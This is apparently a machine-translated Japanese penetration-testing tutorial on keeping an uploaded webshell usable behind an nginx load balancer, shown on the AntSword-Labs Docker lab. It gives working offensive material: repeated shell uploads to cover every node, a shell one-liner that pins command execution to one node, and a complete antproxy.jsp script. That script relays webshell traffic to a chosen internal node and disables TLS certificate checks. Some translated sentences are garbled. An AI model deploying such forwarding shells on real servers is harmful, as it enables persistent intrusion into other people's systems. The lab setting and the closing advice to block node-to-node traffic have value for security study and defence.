負荷分散下での Webshell アップロード
1. 応用シナリオ
負荷分散は、大量のトラフィック アクセスを運ぶ Web アプリケーションの問題の解決策として、実際の環境に広く導入されています。負荷分散を実現するには、DNS、HTTP リダイレクト、IP 負荷分散、リバース プロキシなど、さまざまな方法があります。
たとえば、DNS ベースの負荷分散:
もちろん、リバース プロキシに基づいた nginx の古典的な負荷分散もあります。ユーザーが単一の IP アドレスを介してサーバーにアクセスする場合、どの処理サーバーを処理しているのかを知ることはできません。この部分の内容については、前回「負荷分散を実現するNGINX リバースプロキシ」でその分類と設定方法について詳しくお話しました。nginx でサポートされている次の負荷分散方法を確認してみましょう。
投票 | デフォルトのメソッド |
---|---|
重さ | 重量法 |
ip_ハッシュ | IPの割り当て方法による |
最小接続数 | 最小の接続 |
フェア(第三者) | 応答時間モード |
url_hash (サードパーティ) | URL配布方法による |
ご覧のとおり、サポートされている負荷分散モードは多数あります。このようなルールに従ってどのような負荷分散モードを分割できるか、つまり、特定の固定サーバーに確実にアクセスできるかどうかは関係ありません。
なぜこのようなことが言えるかというと、侵入テストの過程では、すべての攻撃は Web シェルを取得してサーバーの権限を取得することを中心に展開するという比較的固定された考え方があるからです。それがエクスプロイトであろうとブルートフォースクラッキングであろうと。Web シェルの取得、権限の昇格、イントラネットへの侵入がすべてです。全体的なプロセスは次のとおりですが、負荷分散によって実際のバックエンド サーバーの IP が隠蔽されてしまうと、解決できない問題が多数発生します。この記事は、そのような環境で WebShell をアップロードするアイデアを明確にすることを目的としています。
2. 直面する困難
一般的に、Web シェルのアップロード、コマンドの実行、ツールの配信、トンネルとしてのイントラネットの侵入という 4 つの困難があります。以下では、Ant Sword の作成者によって提供された Docker イメージを使用して、発生した問題を示します。
https://github.com/AntSwordProject/AntSword-Labs
ダウンロード後、サーバーにアップロードして解凍し、指定したディレクトリに移動して環境を開始します。
[root@blackstone loadbalance-jsp]# pwd
/home/batman/AntSword-Labs-master/loadbalance/loadbalance-jsp
[root@blackstone loadbalance-jsp]# docker-compose up -d
その構成ファイルを見ると、 nginx のポート 80 がホストのポート 18080 にマッピングされていることがわかり、http://192.168.2.169:18080
にアクセスして Web サービスにアクセスできます。Node1 と Node2 はどちらも Tomcat 8 で、ポート 8080 が内部ネットワークで開かれており、外部から直接アクセスすることはできません。
この時点で、Ant Sword を開き、以前にノード 12 に挿入された Web シェルへの接続を試みます。
完了したら、[追加] をクリックして Web シェルに正式に接続します。
2.1 シェルファイルのアップロードの問題
何度も更新してみてください。非常にスムーズです。
ノード サーバーにログインし、Web シェルを無効にしてみます。
[root@blackstone loadbalance-jsp]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c549f819e15e nginx:1.17 "nginx -g 'daemon of…" 36 minutes ago Up 36 minutes 0.0.0.0:18080->80/tcp loadbalance-jsp_nginx_1
bab0805650c1 loadbalance-jsp_lbsnode2 "catalina.sh run" 36 minutes ago Up 36 minutes 8080/tcp loadbalance-jsp_lbsnode2_1
59bf661c6b83 loadbalance-jsp_lbsnode1 "catalina.sh run" 36 minutes ago Up 36 minutes 8080/tcp loadbalance-jsp_lbsnode1_1
[root@blackstone loadbalance-jsp]# docker exec -it bab0805650c1 /bin/bash
root@bab0805650c1:/usr/local/tomcat# find / -name ant.jsp
find: ‘/proc/1/map_files’: Operation not permitted
find: ‘/proc/37/map_files’: Operation not permitted
find: ‘/proc/41/map_files’: Operation not permitted
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@bab0805650c1:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT/
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant
もう一度更新してみてください。
赤く点滅しています。実際、この変更されたノード サーバーにアップロードされたファイルが存在しないため、再度更新されるときにリクエストがこの変更されたノード サーバーに対して解析されるためです。そのためアクセスできず、404が表示されます。したがって、Web シェルをノード サーバー上に均等に表示するにはどうすればよいかが最初の疑問です。
2.2 コマンド実行時のドリフト
そのような環境では、送信した Web シェルがコマンドを実行すると、深刻なドリフトが発生します。コマンドがどのサーバーで実行されたかはわかりません。
最初の困難を解決したと仮定すると、Web シェルはバックエンド ノード サーバーに均等に表示されます。
以前に廃止された Web シェルを復活させます。
root@bab0805650c1:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp
コマンド実行インターフェイスに移動し、コマンドを実行してみます。
次のコマンドを実行して IP アドレスを表示します。
ご覧いただけたでしょうか。これは、重み付けモードになっても、ポーリング状態での IP 変更に複数のノード サーバーを加えたものです。このアドレスは追跡できなくなります。
2.3 大きなツールの配信に失敗した
上記 2 つの問題を解決し、さらに浸透させたい場合は、この時点でいくつかのツールを導入する必要があります。ただし、ファイルをアップロードするときに antSword で使用されるフラグメント アップロード メソッドが原因です。ファイルは複数の HTTP リクエストに分割されてターゲットに送信されるため、恥ずかしいことに 2 つのノードでそれぞれ半分が発生し、半分がどのように結合されるかは LBS アルゴリズムに依存します。つまり、ツールがこの最小シャード サイズより大きくなった場合です。フラグメントに分割されてノード サーバーに渡されます。
2.4 イントラネット侵入ツールの失敗
ターゲット マシンはインターネットの外に出ることができないため、さらに先に進みたい場合は、reGeorg/HTTPAbs などの HTTP トンネルを使用することしかできませんが、このシナリオでは、これらのトンネル スクリプトはすべて失敗します。
以下に、regerg プログラムの動作の一般的な概略図を示します。これは、ノード サーバーが変更され続けるため、攻撃者と regerg がデプロイされているホストとの間の完全な接続を長期間維持することが不可能になるためです。各ノードホストにそのようなソフトウェアが同時に搭載されている場合でも。攻撃者との接続は依然として混乱しています。イントラネット トラフィックを攻撃者に安定してプロキシできません。したがって、そのような環境では、イントラネット ツールを導入することも非常に困難です。
3. いくつかの解決策
最初の困難を解決するのは実は比較的簡単で、たった一言重复
、何度もアップロードするだけで、確実にすべてのノードサーバーに WebShell をアップロードできます。次に、残りの問題を解決する方法を見つけなければなりません。
3.1 シャットダウン
この解決策は方法のように見えますが、実際の環境で権限が十分であるかどうかについては説明しません。たとえそれで十分であっても、このような操作は非常に危険でもあります。ただし、ノード サーバーをシャットダウンした後、ノード サーバーは nginx プロキシ プールから追い出されます。最終的には、すべてのリクエストを同じサーバーに対して行うことができます。ただし、暴露リスクは高く、相応の法的責任を負わなければなりません。したがって、この方法はお勧めできません。
3.2 IPに基づいて実行ホストを決定する
各コマンドを実行する前に次のホストの IP アドレスを決定できれば、コマンド ドリフトの問題は解決できます。
ここでシェルが必要になります。
#执行命令前进行ip判断,注意执行的命令写到then后else前即可。
if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
たとえば次のようになります。
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.2" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
node1 i will execute command.\n=========\n
172.19.0.2
root@bab0805650c1:~# if [ `hostname -i` == "172.19.0.3" ];then echo "node1 i will execute command.\n=========\n"; hostname -i;else echo "other.tryagain"; fi
other.tryagain
このようにして、実行されたコマンドが目的のマシン上にあることを確認することは確かに可能ですが、この方法でコマンドを実行するのは十分にスムーズではありません。アントソードの中断中に実行しても問題が発生します。実際のデバイスでテストしたところ、正常に動作しました。
このような解決策は非常に面倒であり、イントラネットへの浸透のニーズを解決できないため、お勧めできません。
3.3 スクリプトはWeb層のトラフィック転送を実現します
そうです、AntSword を使用して LBSNode1 のイントラネット IP (172.23.0.2) のポート 8080 に直接アクセスすることはできませんが、誰かがそれにアクセスすることはできます。nginx に加えて、マシン LBSNode2 も Node1 のポート 8080 にアクセスできます。つまり、トラフィックの宛先アドレスを決定するスクリプトを作成し、node1 でない場合は、node1 の ant.jsp にトラフィックを転送するだけです。このようにして、攻撃者とノード 1 の間に安定した接続を確立できます。
これはオリジナルの作者の写真です。次のリクエストを分析します。
1. 接続リクエストはロード バランシング転送のために nginx に到着し、バックエンド ノード サーバーによって処理されます。
2. リクエストはノード 1 に到着し、antproxy.jsp ファイルにアクセスし、トラフィックをノード 172.23 の ant.jsp に転送します。 .0.2
3. リクエストがノード 2 に到着しました。ノード 2 の antproxy.jsp ファイルにアクセスし、トラフィックをノード 172.23.0.2 の ant.jsp ファイルにも転送します。コミュニケーションを確立します。
このようにして、常にノード 1 の ant.jsp ファイルに接続し、安定した通信を確立できます。早くやれよ。
転送スクリプトは次のとおりです。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<% //注意这里的地址一定修改正确,不同的环境内部使用的地址不一定一样
String target = "http://172.19.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
3.3.1 antproxy.jsp スクリプトの作成
転送アドレスを変更し、ターゲット ノードのイントラネット IP のターゲット スクリプトアクセス アドレスに切り替えます。
注:
(1) アップロード機能は使用しないでください。断片化されて送信できません。
(2) すべてのノードが転送スクリプトでデプロイされていることを確認するために、i の 1 つは複数回保存する必要があります。
3.3.2 シェル構成の変更
URL 部分に antproxy.jsp のアドレスを入力し、他の設定は変更しないでください。
http://192.168.2.169:18080/antproxy.jsp
IP アドレスが引き続き変動するかどうかを確認します。
明らかに、この時点では IP アドレスの変動は停止しています。つまり、ノード サーバー 1 に安定して接続できています。
4. まとめ
この問題についても考えた形跡がある。まず、ロードバランサーとしての特徴は、通常のサービス構造と比較して、実サービスのノードサーバーを隠蔽することです。
以前に Web シェルをアップロードしました。これは、トロイの木馬ファイルのアップロード、関連する脆弱性情報を取得するためのコマンドの実行、パスワードを取得するための権限を昇格するためのツールの起動、およびイントラネットへの攻撃を試みるための侵入ツールの展開に分けられます。
トロイの木馬ファイルのアップロードは、雨露に濡れてしまう必要がありますが、一度のアップロードではズレが生じるため、数回に分けてアップロードしてください。2 番目の問題であるコマンド ドリフトは、IP を判断することでかろうじて解決できますが、実際には、より良い解決策があります。3 番目と 4 番目の質問では、トラフィック転送スクリプトを使用してノード サーバーの IP アドレスを固定する必要があります。このようにして、負荷分散の影響を完全に排除することができ、すべてが通常の WebShell アップロード環境と同様になります。
次に、解決策 3 には、実際には非常に致命的な問題があり、イントラネット ノード サーバーが相互に通信できなくなると、完全に失敗します。つまり、セキュリティの観点から、負荷分散を実装した後は、特別な要件がない限り、ノードサーバー間のネットワーク層での通信を可能な限り遮断する必要があります。このようにしてのみ、何も問題が起こることはありません。